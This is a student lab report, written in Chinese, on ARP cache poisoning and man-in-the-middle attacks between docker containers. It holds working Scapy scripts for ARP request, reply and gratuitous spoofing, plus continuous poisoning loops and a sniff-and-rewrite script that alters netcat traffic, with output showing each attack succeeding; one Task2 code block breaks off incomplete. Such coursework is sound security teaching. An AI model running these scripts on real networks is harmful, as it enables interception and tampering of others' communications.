

# Lab4

57118233 周厚霖

## Task1: ARP Cache Poisoning

### Task1.A (using ARP request)

使用 ARP 请求的代码如下：

```
#!/usr/bin/evn python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' #Attacker's MAC
dst_mac='00:00:00:00:00:00' #ARP request,so all 0
dst_mac_eth='ff:ff:ff:ff:ff:ff'
src_ip='10.9.0.6' # B
dst_ip='10.9.0.5' # A
eth= Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
while 1:
    sendp(pkt)
    break
```

登录攻击者容器 docker3(10.9.0.105)，利用 ifconfig 查看攻击者的 MAC 地址。

```
root@0edf04f2c35e:/volumes# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.9.0.105 netmask 255.255.255.0 broadcast 10.9.0.255
    ether 02:42:0a:09:00:69 txqueuelen 0 (Ethernet)
    RX packets 116 bytes 11715 (11.7 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 3200 bytes 135212 (135.2 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

运行代码后，在受害者 A 的容器 docker1(10.9.0.5) 利用命令 `arp -a`，可以看到 ARP 缓存受到中毒攻击。

```
root@1968ac435495:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:69 [ether] on eth0
```

### Task1.B (using ARP reply)

首先利用命令 `arp -d 10.9.0.6`，清除 ARP 缓存。

```
root@1968ac435495:/# arp -d 10.9.0.6
root@1968ac435495:/# arp -a
```

使用 ARP 应答的代码如下：

```
#!/usr/bin/evn python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='02:42:0a:09:00:05' # A
src_ip='10.9.0.6' # B
dst_ip='10.9.0.5' # A
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)
pkt = eth / arp
while 1:
    sendp(pkt)
    break
```

当 B 的 IP 不在 A 的缓存中时，由下图可见，ARP 缓存中毒攻击不成功。

```
root@0edf04f2c35e:/volumes# python3 Task1B.py
.
Sent 1 packets.
```

```
root@1968ac435495:/# arp -a
root@1968ac435495:/# arp -a
root@1968ac435495:/#
```

在 docker1(10.9.0.5) 中进行 ping 10.9.0.6，使得 B 的 IP 在 A 的 ARP 缓存中，由下图可见，ARP 缓存中毒攻击成功。

```
root@1968ac435495:/# arp -a
root@1968ac435495:/# arp -a
B-10.9.0.6-net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:06 [ether] on eth0
root@1968ac435495:/# arp -a
B-10.9.0.6-net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:69 [ether] on eth0
```

## Task1.C (using ARP gratuitous message):

使用免费信息的代码如下：

```
#!/usr/bin/evn python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='ff:ff:ff:ff:ff:ff' # broadcast MAC address
src_ip='10.9.0.6' # B
dst_ip='10.9.0.6' # B
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
while 1:
    sendp(pkt)
    break
```

当 B 的 IP 不在 A 的缓存中时，由下图可见，ARP 缓存中毒攻击不成功。

```
root@0edf04f2c35e:/volumes# python3 Task1C.py
.
Sent 1 packets.
```

```
root@1968ac435495:/# arp -a
root@1968ac435495:/# arp -a
root@1968ac435495:/#
```

在 docker1(10.9.0.5) 中进行 ping 10.9.0.6，使得 B 的 IP 在 A 的 ARP 缓存中，由下图可见，ARP 缓存中毒攻击成功。

```
root@1968ac435495:/# arp -a
root@1968ac435495:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:06 [ether] on eth0
root@1968ac435495:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:69 [ether] on eth0
```

## Task2: MITM Attack on Telnet using ARP Cache Poisoning

对 docker1(10.9.0.5) 的攻击代码:

```
#!/usr/bin/evn python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='ff:ff:ff:ff:ff:ff' # broadcast MAC address
src_ip='10.9.0.6' # B
dst_ip='10.9.0.6' # B
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
while 1:
    sendp(pkt)
```

对 docker2(10.9.0.6) 的攻击代码:

```
#!/usr/bin/evn python3
from scapy.all import *
src_mac='02:42:0a:09:00:69' # M
dst_mac='ff:ff:ff:ff:ff:ff' # broadcast MAC address
src_ip='10.9.0.5' # A
dst_ip='10.9.0.5' # A
eth = Ether(src=src_mac, dst=dst_mac)
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=1)
pkt = eth / arp
while 1:
    sendp(pkt)
```

这里代码使用循环, 保证可以持续发包。在 A 和 B 建立 telnet 之后, 分别对 A 和 B 进行 ARP 缓存中毒攻击, 结果如下图。

```
root@1968ac435495:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:06 [ether] on eth0
root@1968ac435495:/# arp -a
B-10.9.0.6.net-10.9.0.0 (10.9.0.6) at 02:42:0a:09:00:69 [ether] on eth0
```

```
root@fa2668bddd1e:/# arp -a
A-10.9.0.5.net-10.9.0.0 (10.9.0.5) at 02:42:0a:09:00:05 [ether] on eth0
root@fa2668bddd1e:/# arp -a
A-10.9.0.5.net-10.9.0.0 (10.9.0.5) at 02:42:0a:09:00:69 [ether] on eth0
```

当主机 M 的 IP 转发关闭时, `sysctl net.ipv4.ip_forward=0`, 此时在主机 B(10.9.0.6) ``ping 主机 A(10.9.0.5), 没有任何回应。



22659	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=63/16128, ttl=64 (no resp...
22381	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=64/16384, ttl=64 (no resp...
22382	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=64/16384, ttl=64 (no resp...
22559	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=65/16640, ttl=64 (no resp...
22560	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=65/16640, ttl=64 (no resp...
22813	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=66/16896, ttl=64 (no resp...
22814	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=66/16896, ttl=64 (no resp...
23075	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=67/17152, ttl=64 (no resp...
23076	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=67/17152, ttl=64 (no resp...
23331	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=68/17408, ttl=64 (no resp...
23332	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=68/17408, ttl=64 (no resp...
23587	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=69/17664, ttl=64 (no resp...
23588	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=69/17664, ttl=64 (no resp...
23853	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=70/17920, ttl=64 (no resp...
23854	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=70/17920, ttl=64 (no resp...
24109	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=71/18176, ttl=64 (no resp...
24110	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=71/18176, ttl=64 (no resp...
24366	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=72/18432, ttl=64 (no resp...
24367	2021-07-15 06:2...	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) request	id=0x002a, seq=72/18432, ttl=64 (no resp...

[Frame is marked: False]  
[Frame is ignored: False]  
[Protocols in frame: all:ethertype:ip:icmp:data]  
[Coloring Rule Name: ICMP]  
[Coloring Rule String: icmp || icmpv6]  
Linux cooked capture  
Internet Protocol Version 4, Src: 10.9.0.6, Dst: 10.9.0.5  
Internet Control Message Protocol  
Type: 8 (Echo (ping) request)  
Code: 0  
Checksum: 0xe0d7 [correct]  
[Checksum Status: Good]  
Identifier (BE): 42 (0x002a)  
Identifier (LE): 10752 (0x2a00)  
Sequence number (BE): 63 (0x003f)  
Sequence number (LE): 16128 (0x3f00)  
[No response seen]  
Timestamp from icmp data: Jul 15, 2021 06:27:47.000000000 EDT  
[Timestamp from icmp data (relative): 0.294396169 seconds]  
Data (48 bytes)

当主机 M 的 IP 转发打开时，`sysctl net.ipv4.ip_forward=1`，此时在主机 B(10.9.0.6) ``ping 主机 A(10.9.0.5)，此时中间人主机 M 会转发两台主机间的数据包，就能收到 ping 的回应了。

```

root@fa2668bdddle:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data:
64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.107 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=2 ttl=63 time=0.148 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=3 ttl=63 time=0.175 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=4 ttl=63 time=0.116 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=5 ttl=63 time=0.117 ms
From 10.9.0.105: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=6 ttl=63 time=0.148 ms
64 bytes from 10.9.0.5: icmp_seq=7 ttl=63 time=0.112 ms
From 10.9.0.105: icmp_seq=8 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=8 ttl=63 time=0.202 ms
64 bytes from 10.9.0.5: icmp_seq=9 ttl=63 time=0.128 ms
64 bytes from 10.9.0.5: icmp_seq=10 ttl=63 time=0.207 ms
From 10.9.0.105: icmp_seq=11 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=11 ttl=63 time=0.205 ms
64 bytes from 10.9.0.5: icmp_seq=12 ttl=63 time=0.218 ms
64 bytes from 10.9.0.5: icmp_seq=13 ttl=63 time=0.144 ms
64 bytes from 10.9.0.5: icmp_seq=14 ttl=63 time=0.157 ms

```

No.	Time	Source	Destination	Protocol	Length	Info
8949	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=1/256, ttl=64 (no respons...
8950	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=1/256, ttl=64 (no respons...
8951	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=1/256, ttl=63 (no respons...
8952	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=1/256, ttl=63 (no respons...
8953	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=1/256, ttl=63 (reply in 8...
8954	2021-07-15 06:3...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply id=0x002b, seq=1/256, ttl=64 (request in...
8955	2021-07-15 06:3...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply id=0x002b, seq=1/256, ttl=64
8956	2021-07-15 06:3...	10.9.0.105	10.9.0.5	ICMP	128	Redirect (Redirect for host)
8957	2021-07-15 06:3...	10.9.0.105	10.9.0.5	ICMP	128	Redirect (Redirect for host)
8958	2021-07-15 06:3...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply id=0x002b, seq=1/256, ttl=63
8959	2021-07-15 06:3...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply id=0x002b, seq=1/256, ttl=63
9204	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=2/512, ttl=64 (no respons...
9205	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=2/512, ttl=64 (no respons...
9206	2021-07-15 06:3...	10.9.0.105	10.9.0.6	ICMP	128	Redirect (Redirect for host)
9207	2021-07-15 06:3...	10.9.0.105	10.9.0.6	ICMP	128	Redirect (Redirect for host)
9208	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=2/512, ttl=63 (no respons...
9209	2021-07-15 06:3...	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) request id=0x002b, seq=2/512, ttl=63 (reply in 9...
9210	2021-07-15 06:3...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply id=0x002b, seq=2/512, ttl=64 (request in...
9211	2021-07-15 06:3...	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) reply id=0x002b, seq=2/512, ttl=64

修改代码如下：

```

#!/usr/bin/env python3
from scapy.all import *

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):

```



## Task3: MITM Attack on Netcat using ARP Cache Poisoning

修改代码如下:

```
#!/usr/bin/env python3
from scapy.all import *

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        # Create a new packet based on the captured one.
        # 1) We need to delete the checksum in the IP & TCP headers,
        #     because our modification will make them invalid.
        #     Scapy will recalculate them if these fields are missing.
        # 2) We also delete the original TCP payload.
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        #####
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load # The original payload data
            newdata = data.replace(str.encode("zh1"), str.encode("aaa"))
            send(newpkt/newdata)
        else:
            send(newpkt)
        #####
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        # Create new packet based on the captured one
        # Do not make any change
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)

f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

将 docker3(10.9.0.105) 上的 IP 转发设置成 `sysctl net.ipv4.ip_forward=0`, 在 docker2(10.9.0.6) 上运行 `nc -lp 9090`, 在 docker1(10.9.0.5) 上运行 `nc 10.9.0.6 9090`, 此时双方进行数据通信, 发现没有被修改; 然后在 docker3(10.9.0.105) 上运行两个 ARP 缓存中毒攻击程序, 再运行嗅探-修改-转发程序, 此时从 docker1(10.9.0.5) 向 docker2(10.9.0.6) 发送信息时, 关键字符会被修改。



```
root@15241440d2f9:/# nc 10.9.0.6 9090  
zhl20000801  
zhl20000801
```

```
root@064a734f5ad8:/# nc -lp 9090  
zhl20000801  
aaa20000801
```